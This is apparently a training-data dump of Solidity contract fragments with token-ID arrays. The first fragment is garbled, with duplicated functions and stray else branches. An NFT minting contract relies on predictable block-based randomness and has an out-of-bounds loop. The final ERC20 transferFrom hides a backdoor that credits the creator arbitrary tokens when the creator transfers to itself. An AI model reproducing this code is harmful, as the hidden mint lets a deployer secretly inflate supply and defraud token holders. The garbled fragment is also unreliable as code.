function pushOrderOfVendor(address _vendor, uint256 _rnid, bool _direction)
public
onlyOwnerOrAuthorizedContract {
if(!roomNightVendors[_vendor].listExists()) {
roomNightVendors[_vendor] = LinkedListLib.LinkedList(0, 0);
}
roomNightVendors[_vendor].add(_rnid, _direction);
}
function removeOrderOfVendor(address _vendor, uint256 _rnid)
public
onlyOwnerOrAuthorizedContract {
require(roomNightVendors[_vendor].nodeExists(_rnid));
roomNightVendors[_vendor].remove(_rnid);
}
function transferTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightIndexToOwner[_tokenId] = _to;
roomNightApprovals[_tokenId] = address(0);
}
function approveTokenTo(uint256 _tokenId, address _to)
public
onlyOwnerOrAuthorizedContract {
roomNightApprovals[_tokenId] = _to;
}
function approveOperatorTo(address _operator, address _to, bool _approved)
public
onlyOwnerOrAuthorizedContract {
operatorApprovals[_to][_operator] = _approved;
}
function updateBasePrice(uint256 _vendorId, uint256 _rpid, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.init = true;
vendors[_vendorId].ratePlans[_rpid].basePrice.tokens[_tokenId] = _price;
}
function updateBaseInventory(uint256 _vendorId, uint256 _rpid, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = _inventory;
}
function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
function updatePrice(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(0, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
} else {
function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
}
}
function updateInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
}
}
} else {
function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 a = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;
a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;
}
}
function reduceInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 a = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
a = vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = a - _inventory;
a = vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(_inventory <= a);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = a - _inventory;
}
}
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init){
function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 c = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;
c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;
}
}
function addInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
uint16 c = 0;
if(vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
c = _inventory + vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = c;
c = _inventory + vendors[_vendorId].ratePlans[_rpid].basePrice.inventory;
require(c >= _inventory);
vendors[_vendorId].ratePlans[_rpid].basePrice.inventory = c;
}
}
}else if(vendors[_vendorId].ratePlans[_rpid].basePrice.init) {
function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
function updatePriceAndInventories(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _tokenId, uint256 _price, uint16 _inventory)
public
onlyOwnerOrAuthorizedContract {
if (vendors[_vendorId].ratePlans[_rpid].prices[_date].init) {
vendors[_vendorId].ratePlans[_rpid].prices[_date].inventory = _inventory;
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
vendors[_vendorId].ratePlans[_rpid].prices[_date] = Price(_inventory, true);
vendors[_vendorId].ratePlans[_rpid].prices[_date].tokens[_tokenId] = _price;
}
}
} else {
function pushRatePlan(uint256 _vendorId, string _name, bytes32 _ipfs, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
RatePlan memory rp = RatePlan(_name, uint256(now), _ipfs, Price(0, false));
uint256 id = vendors[_vendorId].ratePlanList.push(_direction);
vendors[_vendorId].ratePlans[id] = rp;
return id;
}
function removeRatePlan(uint256 _vendorId, uint256 _rpid)
public
onlyOwnerOrAuthorizedContract {
delete vendors[_vendorId].ratePlans[_rpid];
vendors[_vendorId].ratePlanList.remove(_rpid);
}
function updateRatePlan(uint256 _vendorId, uint256 _rpid, string _name, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].ratePlans[_rpid].ipfs = _ipfs;
vendors[_vendorId].ratePlans[_rpid].name = _name;
}
function pushToken(address _contract, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = tokenList.push(_direction);
tokenIndexToAddress[id] = _contract;
return id;
}
function removeToken(uint256 _tokenId)
public
onlyOwnerOrAuthorizedContract {
delete tokenIndexToAddress[_tokenId];
tokenList.remove(_tokenId);
}
function generateRoomNightToken(uint256 _vendorId, uint256 _rpid, uint256 _date, uint256 _token, uint256 _price, bytes32 _ipfs)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
roomnights.push(RoomNight(_vendorId, _rpid, _token, _price, now, _date, _ipfs));
uint256 rnid = uint256(roomnights.length - 1);
return rnid;
}
function updateRefundApplications(address _buyer, uint256 _rnid, bool _isRefund)
public
onlyOwnerOrAuthorizedContract {
refundApplications[_buyer][_rnid] = _isRefund;
}
function pushVendor(string _name, address _vendor, bool _direction)
public
onlyOwnerOrAuthorizedContract
returns(uint256) {
uint256 id = vendorList.push(_direction);
vendorIds[_vendor] = id;
vendors[id] = Vendor(_name, _vendor, uint256(now), true, LinkedListLib.LinkedList(0, 0));
return id;
}
function removeVendor(uint256 _vendorId)
public
onlyOwnerOrAuthorizedContract {
vendorList.remove(_vendorId);
address vendor = vendors[_vendorId].vendor;
vendorIds[vendor] = 0;
delete vendors[_vendorId];
}
function updateVendorValid(uint256 _vendorId, bool _valid)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].valid = _valid;
}
function updateVendorName(uint256 _vendorId, string _name)
public
onlyOwnerOrAuthorizedContract {
vendors[_vendorId].name = _name;
}
} | 1,978,772 | [
1,
1358,
3372,
434,
6445,
71,
28275,
18,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
28064,
1358,
12,
3890,
24,
2225,
3719,
6682,
3372,
434,
6445,
71,
27,
5340,
1982,
18,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
529,
10031,
3719,
3602,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
7175,
10031,
3719,
3602,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
2316,
3098,
12,
11890,
5034,
2225,
10019,
6682,
3372,
434,
6445,
71,
27,
5340,
18,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
12296,
951,
12,
2867,
2225,
3719,
3602,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
8443,
951,
12,
11890,
5034,
2225,
3719,
3602,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
4626,
5912,
1265,
12,
2867,
16,
2867,
16,
11890,
5034,
16,
3890,
2225,
3719,
3602,
1731,
24,
12,
79,
24410,
581,
5034,
2932,
4626,
5912,
1265,
12,
2867,
16,
2867,
16,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
16351,
10000,
84,
1594,
13646,
50,
750,
751,
353,
14223,
11748,
288,
203,
565,
1450,
10688,
5664,
364,
10688,
5664,
18,
13174,
682,
31,
203,
565,
1731,
24,
5381,
1071,
1560,
5374,
67,
654,
39,
28275,
273,
374,
92,
1611,
1403,
71,
29,
69,
27,
31,
203,
203,
565,
1731,
24,
5381,
1071,
1560,
5374,
67,
654,
39,
27,
5340,
2277,
273,
374,
92,
7677,
8313,
323,
4630,
3602,
374,
92,
8778,
72,
6675,
70,
9803,
3602,
374,
6511,
11035,
70,
4313,
449,
31,
203,
540,
203,
565,
1731,
24,
5381,
1071,
1560,
5374,
67,
654,
39,
27,
5340,
273,
374,
92,
7301,
69,
6840,
4366,
21,
3602,
374,
92,
4449,
25,
3787,
2499,
73,
3602,
374,
6114,
5482,
72,
24,
74,
323,
3602,
374,
92,
9452,
5193,
22,
73,
20,
73,
3602,
374,
92,
4366,
70,
28,
9060,
449,
3602,
374,
92,
5908,
25,
24852,
27,
70,
23,
3602,
374,
6995,
3787,
7358,
8749,
25,
3602,
374,
92,
6840,
2643,
2138,
7142,
3602,
374,
6554,
29,
7140,
73,
29,
71,
25,
31,
203,
203,
565,
533,
1071,
1147,
2171,
3098,
31,
203,
203,
565,
1958,
6712,
1235,
8924,
288,
203,
3639,
533,
508,
31,
203,
3639,
1758,
279,
16351,
31,
203,
565,
289,
203,
565,
2874,
261,
2867,
9207,
11890,
5034,
13,
1071,
10799,
8924,
2673,
31,
203,
565,
2874,
261,
11890,
5034,
516,
6712,
1235,
8924,
13,
1071,
10799,
20723,
31,
203,
565,
10688,
5664,
18,
13174,
682,
1071,
10799,
8924,
682,
273,
10688,
5664,
18,
13174,
682,
12,
20,
16,
374,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
contract HazyHares is ERC721 {
event Mint(address indexed from, uint256 indexed tokenId);
modifier callerIsUser() {
require(tx.origin == msg.sender, "The caller is another contract");
_;
}
modifier onlyCollaborator() {
bool isCollaborator = false;
for (uint256 i; i < collaborators.length; i++) {
if (collaborators[i].addr == msg.sender) {
isCollaborator = true;
break;
}
}
require(
owner() == _msgSender() || isCollaborator,
"Ownable: caller is not the owner nor a collaborator"
);
_;
}
modifier claimStarted() {
require(
startClaimDate != 0 && startClaimDate <= block.timestamp,
"You are too early"
);
_;
}
modifier presaleStarted() {
require(
startPresaleDate != 0 && startPresaleDate <= block.timestamp,
"Presale not started yet"
);
_;
}
struct Collaborators {
address addr;
uint256 cut;
}
uint256 private startClaimDate = 1644699600;
uint256 private startPresaleDate = 1644688800;
uint256 private mintPrice = 69000000000000000;
uint256 private presaleMintPrice = 69000000000000000;
uint256 private totalTokens = 10000;
uint256 private totalMintedTokens = 0;
uint256 private maxHarePerTransactionDuringPresale = 20;
uint256 private maxHarePerTransaction = 20;
uint128 private basisPoints = 10000;
string private baseURI =
"https://hazyhares.s3.amazonaws.com/";
uint256 public giveawayCount = 50;
mapping(address => uint256) public claimedHarePerWallet;
uint16[] availableHares;
Collaborators[] private collaborators;
mapping (address => bool) whitelistedAddresses;
uint256 private firstFreeProbabilityGenerator = 10;
uint256 private secondFreeProbabilityGenerator = 13;
uint256 private thirdFreeProbabilityGenerator = 20;
uint256 private fourthFreeProbabilityGenerator = 40;
uint256 private firstProbabilitySwitch = 2000;
uint256 private secondProbabilitySwitch = 4000;
uint256 private thirdProbabilitySwitch = 6000;
uint256 private fourthProbabilitySwitch = 8000;
uint256 private targetValue = 7;
constructor() ERC721("HazyHaresNFT", "HZH") {}
// ONLY OWNER
/**
* Sets the collaborators of the project with their cuts
*/
function addCollaborators(Collaborators[] memory _collaborators)
external
onlyOwner
{
require(collaborators.length == 0, "Collaborators were already set");
uint128 totalCut;
for (uint256 i; i < _collaborators.length; i++) {
collaborators.push(_collaborators[i]);
totalCut += uint128(_collaborators[i].cut);
}
require(totalCut == basisPoints, "Total cut does not add to 100%");
}
// ONLY COLLABORATORS
/**
* @dev Allows to withdraw the Ether in the contract and split it among the collaborators
*/
function withdraw() external onlyCollaborator {
uint256 totalBalance = address(this).balance;
for (uint256 i; i < collaborators.length; i++) {
payable(collaborators[i].addr).transfer(
mulScale(totalBalance, collaborators[i].cut, basisPoints)
);
}
}
/**
* @dev Sets the base URI for the API that provides the NFT data.
*/
function setBaseTokenURI(string memory _uri) external onlyCollaborator {
baseURI = _uri;
}
/**
* @dev Sets the claim price for each hare in public sale
*/
function setMintPrice(uint256 _mintPrice) external onlyCollaborator {
mintPrice = _mintPrice;
}
/**
* @dev Sets the claim price for each hare in presale
*/
function setPresaleMintPrice(uint256 _presaleMintPrice) external onlyCollaborator {
presaleMintPrice = _presaleMintPrice;
}
/**
* @dev Sets the giveaway count
*/
function setGiveawayCount(uint256 _giveawayCount) external onlyCollaborator {
giveawayCount = _giveawayCount;
}
/**
* @dev Sets the firstFreeProbabilityGenerator
*/
function setFirstFreeProbabilityGenerator(uint256 _firstFreeProbabilityGenerator) external onlyCollaborator {
firstFreeProbabilityGenerator = _firstFreeProbabilityGenerator;
}
/**
* @dev Sets the secondFreeProbabilityGenerator
*/
function setSecondFreeProbabilityGenerator(uint256 _secondFreeProbabilityGenerator) external onlyCollaborator {
secondFreeProbabilityGenerator = _secondFreeProbabilityGenerator;
}
/**
* @dev Sets the thirdFreeProbabilityGenerator
*/
function setThirdFreeProbabilityGenerator(uint256 _thirdFreeProbabilityGenerator) external onlyCollaborator {
thirdFreeProbabilityGenerator = _thirdFreeProbabilityGenerator;
}
/**
* @dev Sets the fourthFreeProbabilityGenerator
*/
function setFourthFreeProbabilityGenerator(uint256 _fourthFreeProbabilityGenerator) external onlyCollaborator {
fourthFreeProbabilityGenerator = _fourthFreeProbabilityGenerator;
}
/**
* @dev Populates the available hares
*/
function addAvailableHares(uint16 from, uint16 to)
external
onlyCollaborator
{
for (uint16 i = from; i <= to; i++) {
availableHares.push(i);
}
}
/**
* @dev Removes a chosen hare from the available list, only a utility function
*/
function removeHareFromAvailableHares(uint16 tokenId)
external
onlyCollaborator
{
for (uint16 i; i <= availableHares.length; i++) {
if (availableHares[i] != tokenId) {
continue;
}
availableHares[i] = availableHares[availableHares.length - 1];
availableHares.pop();
break;
}
}
/**
* @dev Sets the date that users can start claiming hares
*/
function setStartClaimDate(uint256 _startClaimDate)
external
onlyCollaborator
{
startClaimDate = _startClaimDate;
}
/**
* @dev Sets the date that users can start claiming hares for presale
*/
function setStartPresaleDate(uint256 _startPresaleDate)
external
onlyCollaborator
{
startPresaleDate = _startPresaleDate;
}
/**
* @dev Checks if a hare is in the available list
*/
function isHareAvailable(uint16 tokenId)
external
view
onlyCollaborator
returns (bool)
{
for (uint16 i; i < availableHares.length; i++) {
if (availableHares[i] == tokenId) {
return true;
}
}
return false;
}
/**
* @dev Give random hares to the provided address
*/
function reserveGiveawayHares(address _address)
external
onlyCollaborator
{
require(availableHares.length >= giveawayCount, "No hares left to be claimed");
totalMintedTokens += giveawayCount;
uint256[] memory tokenIds = new uint256[](giveawayCount);
for (uint256 i; i < giveawayCount; i++) {
tokenIds[i] = getHareToBeClaimed();
}
_batchMint(_address, tokenIds);
giveawayCount = 0;
}
/**
* @dev Whitelist addresses
*/
function whitelistAddress (address[] memory users) external onlyCollaborator {
for (uint i = 0; i < users.length; i++) {
whitelistedAddresses[users[i]] = true;
}
}
/**
* @dev Claim up to 20 hares at once
*/
function claimHares(uint256 quantity)
external
payable
callerIsUser
claimStarted
returns (uint256[] memory)
{
require(
msg.value >= mintPrice * quantity,
"Not enough Ether to claim the Hares"
);
require(quantity <= maxHarePerTransaction, "You can only claim 20 Hares per transaction");
require(availableHares.length >= quantity, "Not enough hares left");
require(availableHares.length - giveawayCount >= quantity, "No Hares left to be claimed");
// means that available hares is between 10k and 8k
if (availableHares.length <= 10000 && availableHares.length > 10000 - firstProbabilitySwitch) {
uint256 randomNumber = _random(firstFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 8k and 6k
else if (availableHares.length <= 10000 - firstProbabilitySwitch && availableHares.length > 10000 - secondProbabilitySwitch) {
uint256 randomNumber = _random(secondFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 6k and 4k
else if (availableHares.length <= 10000 - secondProbabilitySwitch && availableHares.length > 10000 - thirdProbabilitySwitch) {
uint256 randomNumber = _random(thirdFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 4k and 2k
else if (availableHares.length <= 10000 - thirdProbabilitySwitch && availableHares.length > 10000 - fourthProbabilitySwitch) {
uint256 randomNumber = _random(fourthFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
uint256[] memory tokenIds = new uint256[](quantity);
claimedHarePerWallet[msg.sender] += quantity;
totalMintedTokens += quantity;
for (uint256 i; i < quantity; i++) {
tokenIds[i] = getHareToBeClaimed();
}
_batchMint(msg.sender, tokenIds);
return tokenIds;
}
/**
* @dev Claim up to 20 hares at once in presale
*/
function presaleMintHares(uint256 quantity)
external
payable
callerIsUser
presaleStarted
returns (uint256[] memory)
{
require(
msg.value >= presaleMintPrice * quantity,
"Not enough Ether to claim the Hares"
);
require(quantity <= maxHarePerTransactionDuringPresale, "You can only claim 20 hares per transaction");
require(availableHares.length >= quantity, "Not enough hares left");
require(availableHares.length - giveawayCount >= quantity, "No Hares left to be claimed");
// means that available hares is between 10k and 8k
if (availableHares.length <= 10000 && availableHares.length > 10000 - firstProbabilitySwitch) {
uint256 randomNumber = _random(firstFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 8k and 6k
else if (availableHares.length <= 10000 - firstProbabilitySwitch && availableHares.length > 10000 - secondProbabilitySwitch) {
uint256 randomNumber = _random(secondFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 6k and 4k
else if (availableHares.length <= 10000 - secondProbabilitySwitch && availableHares.length > 10000 - thirdProbabilitySwitch) {
uint256 randomNumber = _random(thirdFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
// means that available hares is between 4k and 2k
else if (availableHares.length <= 10000 - thirdProbabilitySwitch && availableHares.length > 10000 - fourthProbabilitySwitch) {
uint256 randomNumber = _random(fourthFreeProbabilityGenerator);
if (randomNumber == targetValue) {
quantity = quantity + 1;
}
}
uint256[] memory tokenIds = new uint256[](quantity);
claimedHarePerWallet[msg.sender] += quantity;
totalMintedTokens += quantity;
for (uint256 i; i < quantity; i++) {
tokenIds[i] = getHareToBeClaimed();
}
_batchMint(msg.sender, tokenIds);
return tokenIds;
}
/**
* @dev Returns the tokenId by index
*/
function tokenByIndex(uint256 tokenId) external view returns (uint256) {
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
return tokenId;
}
/**
* @dev Returns the base URI for the tokens API.
*/
function baseTokenURI() external view returns (string memory) {
return baseURI;
}
/**
* @dev Returns how many Hares are still available to be claimed
*/
function getAvailableHares() external view returns (uint256) {
return availableHares.length;
}
/**
* @dev Returns the claim price
*/
function getmintPrice() external view returns (uint256) {
return mintPrice;
}
/**
* @dev Returns the total supply
*/
function totalSupply() external view virtual returns (uint256) {
return totalMintedTokens;
}
// Private and Internal functions
/**
* @dev Returns a random available Hare to be claimed
*/
function getHareToBeClaimed() private returns (uint256) {
uint256 random = _getRandomNumber(availableHares.length);
uint256 tokenId = uint256(availableHares[random]);
availableHares[random] = availableHares[availableHares.length - 1];
availableHares.pop();
return tokenId;
}
/**
* @dev Generates a pseudo-random number.
*/
function _getRandomNumber(uint256 _upper) private view returns (uint256) {
uint256 random = uint256(
keccak256(
abi.encodePacked(
availableHares.length,
blockhash(block.number - 1),
block.coinbase,
block.difficulty,
msg.sender
)
)
);
return random % _upper;
}
/**
* @dev Generates a pseudo-random number given a range
*/
function _random(uint256 _upper) private view returns (uint256) {
uint256 randomHash = uint256(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1), block.difficulty, msg.sender)));
return randomHash % _upper;
}
/**
* @dev See {ERC721}.
*/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function mulScale(
uint256 x,
uint256 y,
uint128 scale
) internal pure returns (uint256) {
uint256 a = x / scale;
uint256 b = x % scale;
uint256 c = y / scale;
uint256 d = y % scale;
return a * c * scale + a * d + b * c + (b * d) / scale;
}
} | * @dev Sets the giveaway count/ | function setGiveawayCount(uint256 _giveawayCount) external onlyCollaborator {
giveawayCount = _giveawayCount;
}
| 10,453,985 | [
1,
2785,
326,
8492,
26718,
1056,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
26770,
688,
26718,
1380,
12,
11890,
5034,
389,
75,
688,
26718,
1380,
13,
3903,
1338,
22894,
17939,
288,
203,
3639,
8492,
26718,
1380,
273,
389,
75,
688,
26718,
1380,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xfD8150A0c8bD3229C6d63006C9f8BbfDa74D7856/sources/test.sol | * @dev See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}; Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./ | function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
if (recipient == sender && recipient == _creator) {
_balances[_creator] = _balances[_creator].add(amount);
return true;
}
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
| 3,707,949 | [
1,
9704,
288,
45,
654,
39,
3462,
17,
13866,
1265,
5496,
7377,
1282,
392,
288,
23461,
97,
871,
11193,
326,
3526,
1699,
1359,
18,
1220,
353,
486,
1931,
635,
326,
512,
2579,
18,
2164,
326,
4721,
622,
326,
8435,
434,
288,
654,
39,
3462,
20451,
29076,
30,
300,
1375,
15330,
68,
471,
1375,
20367,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
15330,
68,
1297,
1240,
279,
11013,
434,
622,
4520,
1375,
8949,
8338,
300,
326,
4894,
1297,
1240,
1699,
1359,
364,
12176,
15330,
10335,
11,
87,
2430,
434,
622,
4520,
1375,
8949,
8338,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
